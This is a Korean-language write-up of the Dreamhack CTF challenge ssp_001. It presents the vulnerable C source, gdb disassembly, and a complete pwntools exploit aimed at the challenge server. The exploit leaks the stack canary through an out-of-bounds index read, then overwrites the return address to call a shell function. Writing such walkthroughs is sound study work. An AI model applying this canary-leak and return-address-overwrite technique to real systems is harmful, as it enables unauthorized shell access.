문제 출처 드림핵
SSP 방어 기법을 우회하여 셸을 획득하고 flag 파일을 읽는 것이 목표다.
먼저 들어가기 전에 사양을 확인해보자.
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Canary와 NX가 적용되어 있다. NX가 뭔지 몰라 찾아보니 스택영역에서 코드를 실행하지 못하게 하여 버퍼 오버플로우를 통한 공격을 막는 것이라고 한다.
주어진 바이너리 파일(ssp_001)의 소스코드(ssp_001.c)는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
box에 문자열을 집어 넣고(F), 인덱스를 입력하면 해당 인덱스에 해당하는 문자를 정수로 반환해주고 있다. 그리고 Exit 할 때에는 name_len을 입력받고 name을 입력받는다.
여기에서 취약해보이는 부분은 Case: P의 scanf와, case: E의 scanf다. 전자는 글자수입력에 제한이 없고, 후자의 경우 read 함수에서 name_len 만큼 입력을 제한하기는 하나, 이 name_len 또한 사용자 입력에 따라 정해지는 것이기에 취약한 부분으로 예상된다.
하지만 제일 중요한 것은 get_shell 함수가 있다는 사실이다. 따라서 나는 카나리 값만 신경쓰면서 반환 주소를 get_shell 함수의 위치로 덮어씌워주면 된다.
main 함수를 gdb에서 디스어셈블한 결과는 다음과 같다.
0x0804872b <+0>: push ebp
0x0804872c <+1>: mov ebp,esp
0x0804872e <+3>: push edi
0x0804872f <+4>: sub esp,0x94
0x08048735 <+10>: mov eax,DWORD PTR [ebp+0xc]
0x08048738 <+13>: mov DWORD PTR [ebp-0x98],eax
0x0804873e <+19>: mov eax,gs:0x14
0x08048744 <+25>: mov DWORD PTR [ebp-0x8],eax
0x08048747 <+28>: xor eax,eax
0x08048749 <+30>: lea edx,[ebp-0x88]
0x0804874f <+36>: mov eax,0x0
0x08048754 <+41>: mov ecx,0x10
0x08048759 <+46>: mov edi,edx
0x0804875b <+48>: rep stos DWORD PTR es:[edi],eax
0x0804875d <+50>: lea edx,[ebp-0x48]
0x08048760 <+53>: mov eax,0x0
0x08048765 <+58>: mov ecx,0x10
0x0804876a <+63>: mov edi,edx
0x0804876c <+65>: rep stos DWORD PTR es:[edi],eax
0x0804876e <+67>: mov WORD PTR [ebp-0x8a],0x0
0x08048777 <+76>: mov DWORD PTR [ebp-0x94],0x0
0x08048781 <+86>: mov DWORD PTR [ebp-0x90],0x0
0x0804878b <+96>: call 0x8048672 <initialize>
0x08048790 <+101>: call 0x80486f1 <menu>
0x08048795 <+106>: push 0x2
0x08048797 <+108>: lea eax,[ebp-0x8a]
0x0804879d <+114>: push eax
0x0804879e <+115>: push 0x0
0x080487a0 <+117>: call 0x80484a0 <read@plt>
0x080487a5 <+122>: add esp,0xc
0x080487a8 <+125>: movzx eax,BYTE PTR [ebp-0x8a]
0x080487af <+132>: movsx eax,al
0x080487b2 <+135>: cmp eax,0x46
0x080487b5 <+138>: je 0x80487c6 <main+155>
0x080487b7 <+140>: cmp eax,0x50
0x080487ba <+143>: je 0x80487eb <main+192>
0x080487bc <+145>: cmp eax,0x45
0x080487bf <+148>: je 0x8048824 <main+249>
0x080487c1 <+150>: jmp 0x804887a <main+335>
0x080487c6 <+155>: push 0x804896c
0x080487cb <+160>: call 0x80484b0 <printf@plt>
0x080487d0 <+165>: add esp,0x4
0x080487d3 <+168>: push 0x40
0x080487d5 <+170>: lea eax,[ebp-0x88]
0x080487db <+176>: push eax
0x080487dc <+177>: push 0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
0x080487e3 <+184>: add esp,0xc
0x080487e6 <+187>: jmp 0x804887a <main+335>
0x080487eb <+192>: push 0x8048979
0x080487f0 <+197>: call 0x80484b0 <printf@plt>
0x080487f5 <+202>: add esp,0x4
0x080487f8 <+205>: lea eax,[ebp-0x94]
0x080487fe <+211>: push eax
0x080487ff <+212>: push 0x804898a
0x08048804 <+217>: call 0x8048540 <__isoc99_scanf@plt>
0x08048809 <+222>: add esp,0x8
0x0804880c <+225>: mov eax,DWORD PTR [ebp-0x94]
0x08048812 <+231>: push eax
0x08048813 <+232>: lea eax,[ebp-0x88]
0x08048819 <+238>: push eax
0x0804881a <+239>: call 0x80486cc <print_box>
0x0804881f <+244>: add esp,0x8
0x08048822 <+247>: jmp 0x804887a <main+335>
0x08048824 <+249>: push 0x804898d
0x08048829 <+254>: call 0x80484b0 <printf@plt>
0x0804882e <+259>: add esp,0x4
0x08048831 <+262>: lea eax,[ebp-0x90]
0x08048837 <+268>: push eax
0x08048838 <+269>: push 0x804898a
0x0804883d <+274>: call 0x8048540 <__isoc99_scanf@plt>
0x08048842 <+279>: add esp,0x8
0x08048845 <+282>: push 0x804899a
0x0804884a <+287>: call 0x80484b0 <printf@plt>
0x0804884f <+292>: add esp,0x4
0x08048852 <+295>: mov eax,DWORD PTR [ebp-0x90]
0x08048858 <+301>: push eax
0x08048859 <+302>: lea eax,[ebp-0x48]
0x0804885c <+305>: push eax
0x0804885d <+306>: push 0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
0x08048864 <+313>: add esp,0xc
0x08048867 <+316>: mov eax,0x0
0x0804886c <+321>: mov edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>: xor edx,DWORD PTR gs:0x14
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048884 <+345>: mov edi,DWORD PTR [ebp-0x4]
0x08048887 <+348>: leave
0x08048888 <+349>: ret
main+19를 보면 gs:0x14로 부터 카나리 값을 받아오는 걸 볼 수 있다. 위치는 당연히 ebp+0x8!(4바이트는 더미일 것이다) 프로그램을 실행해가면서 어떤 변수에 입력을 하면 카나리 값을 얻을 수 있을지 살펴보자.
Exit 을 선택해서 name_len을 충분히 입력하고 AAA...을 입력한 뒤 rsp-0x8의 값을 조회해 보면

카나리 값이 A로 뒤덮여있는걸 볼 수 있다.
하지만 이렇게 입력을 하더라도 곧바로 프로그램이 종료되기에 의미가 없다.
의외로 카나리는 찾기 쉬웠다. 앞서 풀어본 예제처럼 오버플로우하는 방식이 아닌 다른 방식이었다. 소스코드의 print_box를 디스어셈블 해보았다.
0x080486cc <+0>: push ebp
0x080486cd <+1>: mov ebp,esp
0x080486cf <+3>: mov edx,DWORD PTR [ebp+0xc]
0x080486d2 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080486d5 <+9>: add eax,edx
0x080486d7 <+11>: movzx eax,BYTE PTR [eax]
=> 0x080486da <+14>: movzx eax,al
0x080486dd <+17>: push eax
0x080486de <+18>: push DWORD PTR [ebp+0xc]
0x080486e1 <+21>: push 0x8048924
0x080486e6 <+26>: call 0x80484b0 <printf@plt>
0x080486eb <+31>: add esp,0xc
0x080486ee <+34>: nop
0x080486ef <+35>: leave
0x080486f0 <+36>: ret
0x080486d5이 보이는가? 문자열 내 특정 인덱스의 문자에 접근하기 위해, 인덱스로 받아온 idx와 box를 더하고 있다. 즉 idx에 적절한 수를 반복적으로 넣으면 카나리를 획득할 수 있다.
get_shell 함수 주소는 다음과 같다.
pwndbg> print get_shell
$1 = {<text variable, no debug info>} 0x80486b9 <get_shell>
cnry 획득을 위한 코드는 다음과 같다.
cnry = b''
for i in range(3, -1, -1):
p.recvuntil(b"[E]xit")
p.sendlineafter(b"> ", b"P")
p.recvuntil(b"Element index : ")
p.sendline(str(i+0x80).encode())
p.recvuntil(b"is : ")
cnry += p.recvn(2)
cnry = int(cnry,16)
리틀 엔디안과 관련해서 3시간동안 고생했다. 카나리를 리틀엔디안 순으로 받아와야 하는 거였다.그래야 리틀 엔디안으로 입력할 수 있으니까
# [2] 페이로드 작성
shell_addr = int(0x80486b9)
payload =b'A'*0x40 + p32(cnry) + b'B'*8 + p32(shell_addr)
print(f"Payload: {payload}")
# [3] 페이로드 주입
p.recvuntil(b"[E]xit")
p.sendlineafter(b"> ", b"E")
p.recvuntil(b"Name Size : ")
p.sendline(b'100') #그냥 큰 수 넣었습니다. 낭낭하게
p.sendlineafter(b"Name : ", payload)
p.interactive()
B는 더미 4바이트, ebp 4바이트다.
# Name: exploit.py
from pwn import *
# p = process('./ssp_001')
p = remote('host3.dreamhack.games', xxxx)
# [1] 카나리 획득
cnry = b''
for i in range(3, -1, -1):
p.recvuntil(b"[E]xit")
p.sendlineafter(b"> ", b"P")
p.recvuntil(b"Element index : ")
p.sendline(str(i+0x80).encode())
p.recvuntil(b"is : ")
cnry += p.recvn(2)
cnry = int(cnry,16)
# [2] 페이로드 작성
shell_addr = int(0x80486b9)
payload =b'A'*0x40 + p32(cnry) + b'B'*8 + p32(shell_addr)
print(f"Payload: {payload}")
# [3] 페이로드 주입
p.recvuntil(b"[E]xit")
p.sendlineafter(b"> ", b"E")
p.recvuntil(b"Name Size : ")
p.sendline(b'100') #그냥 큰 수 넣었습니다. 낭낭하게
p.sendlineafter(b"Name : ", payload)
p.interactive()
리틀 엔디안에서 삽질하면서 제대로 공부했다.